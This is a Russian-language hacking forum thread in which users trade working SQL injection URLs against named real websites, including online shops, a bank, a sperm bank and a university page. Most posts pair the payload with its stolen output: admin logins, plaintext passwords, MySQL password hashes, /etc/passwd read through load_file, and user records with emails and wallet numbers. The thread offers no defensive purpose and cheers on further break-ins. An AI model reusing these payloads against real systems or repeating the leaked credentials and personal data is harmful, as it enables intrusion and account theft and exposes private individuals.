SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    Искал книжку)
    Сlasses.ru
    Code:
    http://www.classes.ru/books-colibri-description/-188084+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,version(),user(),database()),14,15,16,17,18--/
    
    Тоже 5 ветка мускула
    Сейчас просто соксов нет копать)Кто что надыбает,плиз стукните мне)
     
    2 people like this.
  2. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Банк спермы =)))

    http://www.europeanspermbank.com/spermdonor/sperm_donor.php?donorId=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a3a,username,password,password2),10,11,12,13,14+from+tbl_member+limit+0,1--

    login:kasholmes
    pass:imogen

    Выборка по юзерам
    --------------------------
     
    2 people like this.
  3. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    seresmaria
    Code:
    http://seresmaria.hu/blogpl.php?id=-23+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6--
    user(): root@localhost
    database(): seres
    version(): 5.0.32-Debian_7etch8-log
    PR=4

    mysql user:
    debian-sys-maint
    -------
    mysql password:
    AEBBCAE0B5458EF192DE7823AFC4EDD2BBFF0A24

    логин и пасс от админки в соседней тему =)


    компаниЯ Дельта Медикел
    Code:
    http://www.deltamedical.com.ua/includes/print.php?id=-24+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7,8,9--
    user(): deltamedua_1@localhost
    database(): deltamedua_db
    version(): 5.0.45
    тИЦ=40
    PR=3


    Code:
    http://www.deltamedical.com.ua/includes/print.php?id=-24+union+select+1,2,3,concat(user_id,0x3a,user_login,0x3a,user_pass),5,6,7,8,9+from+users+limit+0,1--
    1:eleanor:276a306b54b4dd5649640782bfeb3b09
     
  4. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.mediaindex.ro/detalii_proprietari.php?id=-538+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT((SELECT+CONCAT(TABLE_NAME,TABLE_SCHEMA)+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1)),0x71),0x71)/*&subm=Cauta

    версия 5-я
    http://www.mediaindex.ro/admin/autentificare.php
    админка

    http://www.e-juridic.ro/articole/-monitorul-oficial-numarul-37-din-20-ianuarie-2009-2977+UNION+SELECT+1,2,3,4,5,6,7,8,9,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71)+LIMIT+1,1.html

    на мой взгляд интересная скуля

    Database Version: 4.0.18
    Database name: avocatul
    User name: root@localhost


    присутсвуют таблички
    mysql.user
    user
    password
    user
    email
    id
    password
    userid
    http://www.e-juridic.ro/admin.php
     
    #7484 Gorev, 24 Jan 2009
    Last edited: 24 Jan 2009
  5. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Шоп:
    Code:
    http://www.sprucedanddappa.net/shop.php?id=1+union+select+1,version()--&sid=1
    Название таблици с юзерами подобрать не удалось, кто подберет, скиньте в ПМ плз!
    ----------------------------------------------------
    The End!
     
  6. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    версия мускуль пятая и даже вроде мк выключены ;-)

    5.0.24a-community-max-nt-log
    [email protected]
    jer029
     
    1 person likes this.
  7. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.sensualdaydreams.com/cast/cast.php?id=-22+union+select+1,2,version(),4,5,6,7/*
    5.0.32-Debian_7etch6-log
     
    _________________________
    1 person likes this.
  8. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Снова щопы:
    www.cafeorinoco.com
    Code:
    http://www.cafeorinoco.com/shop.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13--
    юзер/бд/версия мускула:
    Code:
    orinoco@localhost:orinoco:5.0.51a-log
    Колонки из таблици discounts:
    Code:
    http://www.cafeorinoco.com/shop.php?id=-1+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13+from+information_schema.columns+where+table_name=0x646973636f756e7473--
    Code:
    idx
    code
    type
    amount
    deleted
    ---------------------------------------------------------
    www.nobilistilia.ru
    Code:
    http://nobilistilia.ru/shop.php?ID=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
    юзер/бд/версия мускула:
    Code:
    zonny@localhost:nobilistilia:5.0.75
    Колонки из таблици baseusers:
    Code:
    http://nobilistilia.ru/shop.php?ID=-1+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.columns+where+table_name=0x626173657573657273--
    Code:
    ID_User
    RecDate
    RecAct
    UsType
    UsName
    UsLogin
    UsPassw
    ID_User
    RecDate
    RecAct
    UsType
    UsName
    UsLogin
    UsPass
    ID_User
    RecDate
    RecAct
    UsType
    UsName
    UsLogin
    UsPassw
    
    -------------------------------------------
    The End!
     
    #7488 -m0rgan-, 24 Jan 2009
    Last edited by a moderator: 24 Jan 2009
    2 people like this.
  9. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    А вот вам БАНК =)))

    А вот вам банк в домене ru:
    www.kbhmb.ru
    Code:
    http://www.kbhmb.ru/index.php?id=7+union+select+1,2,convert(concat_ws(0x3a,user,password)+using+latin1),4,5,6,7,8+from+mysql.user--
    логин/пасс:

    Code:
    vasselect:*8BF7ACF013E0D295ADE08E3A755EFB4D5EA47343
    Code:
    vasinsert:*8FF7E1FC81B393BF0DBA4C7E3655194DF97D78E7 
    Code:
    max:*832EB84CB764129D05D498ED9CA7E5CE9B8F83EB 
    Code:
    root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
    Смотрим file_priv:
    Code:
    http://www.kbhmb.ru/index.php?id=7+union+select+1,2,convert(file_priv+using+latin1),4,5,6,7,8+from+mysql.user--
    Ура, на рута права Y
    Читаем ect/passwd:
    Code:
    http://www.kbhmb.ru/index.php?id=7+union+select+1,2,convert(load_file('/etc/passwd')+using+latin1),4,5,6,7,8+from+mysql.user--
    Все читается:
    Можно есче сходить в коренную диру:
    Code:
    http://www.kbhmb.ru/index.php?id=7+union+select+1,2,convert(load_file('../../../')+using+latin1),4,5,6,7,8+from+mysql.user--
    Ну вроде как все...дальше думаю сам разберешся ;)
    ---------------------------------------------------------
    The End!
     
    #7489 -m0rgan-, 24 Jan 2009
    Last edited: 24 Jan 2009
    1 person likes this.
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.oskar.ro/galerie.php?id=-825+union+select+1,2,3,CONCAT_WS(0x3a,Version(),User(),Database()),5,6,7--

    version: 5.0.67-community-log
    user : oskar_osky@localhost
    database : oskar_oskar


    Из всей базы интересуют только таблицы
    useri и users

    из первой не вывел ничего а из второй:
    password:admin:data:email:id:nume

    baubau:0:2008-09-01 17:43:59:[email protected]:1:Bogdan Apostol
    baubau#11:0:2008-09-15 11:38:23:[email protected]:2: Daniel Ionescu
    alecsandra:0:2008-10-07 12:21:21:[email protected]:4:George Vintila
    blabla:0:2008-10-13 23:26:58:[email protected]:5:Constantin Nimigean
    universum:0:2008-10-23 15:41:04:[email protected]:7:Belea Simion
    nihilsinedeo:0:2008-11-01 14:02:55:[email protected]:9:mircea teodorescu
    samir33:0:2008-11-01 21:17:47:[email protected]:10:Horia Tudor
    giulestino:0:2008-11-02 22:10:05:[email protected]:12:Horatiu Tatar
    master:0:2008-11-12 06:09:38:[email protected]:14:adrian mihai
     
    #7490 Gorev, 25 Jan 2009
    Last edited: 25 Jan 2009
    1 person likes this.
  11. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    User:forum18_u@localhost
    Version:5.0.67
    Database:forum18

    User name:runwindsor@localhost
    Database Version:4.0.21-standard
    Database name:runwindsor

    Database Version: 5.0.67-log
    Database name: practical_fishkeeping
    User name: practfish-web@localhost

    Database Version: 5.0.67-community-log
    Database name: stranaso_vni
    User name: stranaso_stranas@localhost


    Не раскручивал.Был пьян -)
     
    1 person likes this.
  12. fortune

    fortune New Member

    Joined:
    8 Jan 2009
    Messages:
    5
    Likes Received:
    3
    Reputations:
    0
    Berkeley.edu

    Code:
    http://www.ocf.berkeley.edu/~surf/view_post.php?id=18%20union%20all%20select%201,version(),3,4,concat(email,0x3a,password),6,7,8,9%20from%20users%20limit%202,1--
    admin login
    usrename: streeter
    passsword: addpost

    http://www.ocf.berkeley.edu/~surf/admin.php
     
  13. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Онлайншопер на Постгри -)


    PostgreSQL 7.4.2 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 3.3.2 20031022 (Red Hat Linux 3.3.2-1)





    Username: admin Password : 321roy

    Красотой не пахнет но пойдёт и так =)


    VIAHOST - Надёжный хостинг -) гы улыбнуло


    User:extreem_root@localhost
    Version:4.1.22
    Database:FineBill


    Еще один Шопер,но не раскурутил
    Какая то муть с выводом в сипте.


    User:moca@localhost
    Version:5.0.24
    Database:moca


    User: [email protected]
    Version: 4.0.27-max-log
    Database: db40336812


    User: sizemore_webuser@localhost
    Version: 4.1.22-standard
    Database: sizemore_sizemore


    User: umixit2_website2@localhost
    Version: 4.1.21-standard
    Database:umixit2_website2


    Database Version: 5.0.37
    Database name: securitymgmt
    User name: [email protected]

    Достаём логин пасс


    gordon : 7a1ad597a3a5fb9234eac26112fb1ffddc6bb6ff



    User: yumaedc_website@localhost
    Version: 4.1.22-standard
    Database:yumaedc_website


    awc_techprep@localhost
    4.1.20
    awc_techprep

    bniyuma@localhost
    4.0.20
    bniyuma


    User: [email protected]
    Version: 4.1.25-Debian_mt1
    Database: db12266_mitratech



    тИЦ = 180
    PageRank = 6

    Database Version: 4.1.11-standard-log
    Database name: whatsnew
    User name: root@localhost

    cmcgregor *125D791AB19AF8FD7F6B37B237038173D8DA5212
    root *1CDFA4599A44CBA9CA969BA03E4F9079CD67771D
    astle *95024238F421F27A07155A3267C6925D1B5D54E9 хэш MySQL5 : 95024238f421f27a07155a3267c6925d1b5d54e9:hemlock
    repl *A424E797037BF97C19A2E88CF7891C5C2038C039 хэш MySQL5 : a424e797037bf97c19a2e88cf7891c5c2038c039:repl
    brandon
    rlyon *D7624E368C73DB8F2AD8747C90AEC4EC47BCA359
    replicator *0EFECFE5946B7B520BE8C6380DEEAD0DC720FB28
    wales *3CBD789A278AEABB649633E18D6C7E28EEED5A77 хэш MySQL5 : 3cbd789a278aeabb649633e18d6c7e28eeed5a77:wales


    Читалка файлов -)

    Ну и дальше дело техники -)




    Ну и .edu на последок -)

    тИЦ = 500
    PageRank = 7

    User:[email protected]
    Version:4.0.24-log
    Database:ysm_calendar



    awc_website@localhost
    4.1.20
    awc_website


    Разработчики сих ошибок

    параметр : article_view.html?article_id=1+скуля+

    Всё спать надо.


    Поспал блин -)

    Еще один онлайншопинг -)

    PR 5

    База здоровая

    Database Version: 5.0.26-log
    Database name: musichri_database
    User name: [email protected]

    Админчики

    :daniel:djJsaXN0c2FkbWlu:[email protected] :
    :peroro:: :
    :jeff.cooley:ZHRib3kyNjIw:[email protected] :

    Еще пользователи


    :mcstores:4bedb00c:[email protected]
    :_sitening_:sitening:[email protected]

    итд...

    В общем по базе там надо смотреть так как там заказов более 100000 да и вообще я так понял это старый уже магазин.

    Хотя мож и не магазин а партнёрка вроде бы нет...
     
    #7493 spherics, 25 Jan 2009
    Last edited: 26 Jan 2009
    3 people like this.
  14. 1337haxx0r

    1337haxx0r Member

    Joined:
    16 Sep 2008
    Messages:
    8
    Likes Received:
    6
    Reputations:
    0
    Всем приФФ =)

    Вот какой-то.....что-то, типа магазина =)

    Code:
    http://www.rhinomac.com/
    Скуль ругаеЦЦо тут
    Code:
    http://www.rhinomac.com/?action=listProducts&categoryId=-5'
    5-я ветка скулЯ
    5 полей(2 принтабельных)
    Code:
    http://www.rhinomac.com/?action=listProducts&categoryId=5+union+select+1,2,3,4,5--
    Далее смотрим таблицы(а они у нас ФФСЕ) =)
    Code:
    http://www.rhinomac.com/?action=listProducts&categoryId=5+union+select+1,concat_ws(0x3a3a3a,table_name,column_name),3,4,5+from+information_schema.columns--
    Выбираем интересные, а именно:

    users ::: username
    users ::: passwd


    Итого получаем:
    username: rgeist
    passwd: test1234


    ОдминкО:
    Code:
    http://rhinomac.com/admin/login.php
     
  15. VITАL

    VITАL Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    1
    Likes Received:
    25
    Reputations:
    10
    Imperial.edu
    Eud.eu
    Fleishman-hillard.eu
    Whathaseuropedone.eu
    Blueprintpartners.eu
    Homelounge.eu
    Whathaseuropedone.eu
    Concerto-act2.eu
    /admin

    __________________

    Нашел уязвимость в программном коде жизни...
     
    #7495 VITАL, 26 Jan 2009
    Last edited: 26 Jan 2009
    2 people like this.
  16. Snap

    Snap Elder - Старейшина

    Joined:
    5 Feb 2007
    Messages:
    61
    Likes Received:
    33
    Reputations:
    -4
    http://sexamag.ru
    Database: u146192
    User: [email protected]
    Version: 5.0.67-log
     
    #7496 Snap, 26 Jan 2009
    Last edited by a moderator: 26 Jan 2009
  17. Maestus

    Maestus Member

    Joined:
    19 Jan 2009
    Messages:
    8
    Likes Received:
    14
    Reputations:
    3
    Российская Ассоциация Развития Игорного Бизнеса

    user():web@localhost

    1.mysql.user.password:asdf2d?FR34tds
    2.mysql.user.password:205580253bde416f

    database():RARIB
    version():4.0.18-standard

    /etc/passwd
    root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    ...

    kompik:111111
    mike:m6Zk31BYG
    т.д.
     
    #7497 Maestus, 26 Jan 2009
    Last edited: 26 Jan 2009
  18. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank = 6

    Database Version: 5.0.51a-3ubuntu5.4-log
    Database name: lapress
    User name: lapress@localhost

    Юзеры


    Database Version: 5.0.51a-3ubuntu5.4-log
    Database name: dovepress
    User name: dovepress@localhost

    Юзеры

    : Meniscus : c449b735db7026408c36d08c996e6c5f : [email protected] : n : n
    : hoptman : 1d018a66bd1dbb082bb28d36db594370 : [email protected] : n : n

    Так 30 тысяч
     
    1 person likes this.
  19. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    мну в шоке)
    Сайт файлообменника letitibit.net

    news.letitsoft.com

    Code:
    http://news.letitsoft.com/index.php?id=-604+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7--
    
    5 Ветка
    Дальше копать не стал,боюсь за мной уже едут)

    UPD:

    Так и недождавшись дядек в фурашках решил покопать)

    Таблички
    Code:
    columns_priv
    db
    func
    help_category
    help_keyword
    help_relation
    help_topic
    host
    proc
    procs_priv
    tables_priv
    time_zone
    time_zone_leap_second
    time_zone_name
    time_zone_transition
    time_zone_transition_type
    user
    comments
    files_use
    files_use_cat
    files_use_click
    files_use_tags
    news
    users
    accesslog
    antishare
    bl_reason
    black_tags
    category
    codec
    copy_from_remote_host
    credit
    ct_tmp
    delete_or_not
    files
    ftp_update_req
    full_info
    full_logs
    fullstats_by_premium
    groups
    ip_logs
    log_add_remote
    logs
    message
    most_popular
    mrtg_hour
    mtrg_date
    password_protect
    passwordcheat
    payment
    pins
    sms_pass
    speed
    stats
    stats_enter
    stats_show_click_bh
    torrent
    
    Очень много интересных табличек,но большая чать лежит в других базах)

    Немного посмотрев нашёл табличку users.
    Колонки
    Code:
    id
    date
    username
    password
    email
    wmz
    timeout
    tmp
    payout
    primary_key
    
    Ну и вытаскиваем
    Code:
    http://news.letitsoft.com/index.php?id=-604+union+select+1,2,3,CONCAT(id,0x3a,date,0x3a,username,0x3a,password,0x3a,email,0x3a,wmz),5,6,7+from+users+limit+0,1--
    
    Пароли лежат в открытом виде)
    Небольшой слитый Кусочек
    Code:
    5:0000-00-00:Dr_Drew:420593:[email protected]:Z
    6:0000-00-00:xzero919:dimetra:[email protected]:Z
    9:2008-11-06:dralex:as963:[email protected]:Z346625720064ds
    10:2008-11-06:Axe35:Axe35:[email protected]:Z170486501392
    11:2008-11-06:RUS:101189:[email protected]:Z
    12:2008-11-06:funtov:funtov:[email protected]:Z
    13:2008-11-06:yulya4364:t434At:[email protected]:Z
    14:2008-11-06:Hena2008:4453681:[email protected]:Z
    15:2008-11-06:verik:verik:[email protected]:Z
    16:2008-11-06:ametis007:1234567890:[email protected]:Z
    17:2008-11-06:kapitocha:korolev:[email protected]:Z
    18:2008-11-06:zmeyy:301089:[email protected]:z267886986065
    19:2008-11-06:VCITY1:vcity1:[email protected]:Z191056419149
    20:2008-11-06:putic82:232629:[email protected]:Z681431559945
    21:2008-11-06:MicroMaster:astonmar:[email protected]:Z
    
    Всем удачного хека:)
     
    #7499 Shadow_p1raT, 26 Jan 2009
    Last edited: 26 Jan 2009
    5 people like this.
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.donbosco.ro/materiale/index.php?idalbum=-8+union+select+1,concat_ws(0x3a,version(),user(),database())/*


    Database Version: 4.1.13a-nt
    Database name: donboscoro
    User name: donboscoro@localhost


    сервер на винде

    http://www.vladimirghika.net/fotografie/index.php?idalbum=-5+union+select+1,concat_ws(0x3a,version(),database(),user())/*

    Database Version: 4.1.13a-nt
    Database name: vladimirghikaro
    User name: vladimirghika@localhost


    http://www.infoimobiliar.ro/change_agency.php?agentie=15+UNION+SELECT+1,2,3,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),5,6,7,8,9,10,11,12+LIMIT+1,1


    Database Version: 5.0.51a-community
    Database name: infoimob_db
    User name: infoimob_usr@localhost


    не раскручивал...

    http://www.esalon.ro/servicii.php?idp=-2+union+select+1,concat_ws(0x3a,version(),database(),user())

    Database Version:5.0.67-community
    Database name:esalon_meniu
    User name:esalon_meniu@localhost



    http://www.clubulenergetic-cluj.ro/subpagini.php?id=26+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),4+LIMIT+1,1


    Database Version: 5.0.67-community
    Database name: rclu5103_ceob
    User name: rclu5103_ceob@localhost



    http://www.ardc.ro/news_d.php?id=63{SQLINJ}&lang=RO

    Version :4.1.22-standard-log
    Database: aredece_aredece
    User :aredece_dobrei@localhost


    Слепая скуля.... помог релиз Маднета за что ему огромное СПАСИБО !

    http://www.irisholiday.ro/?prod=-10+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,0,1,2

    Database Version: 5.0.67-community
    Database name: irisholi_iris
    User name: irisholi_root@localhost


    Hа сегодня все, извините за многочисленые едиты так как работал так сказать вживую.... Cпасибо !
     
    #7500 Gorev, 26 Jan 2009
    Last edited: 26 Jan 2009
    2 people like this.
Thread Status:
Not open for further replies.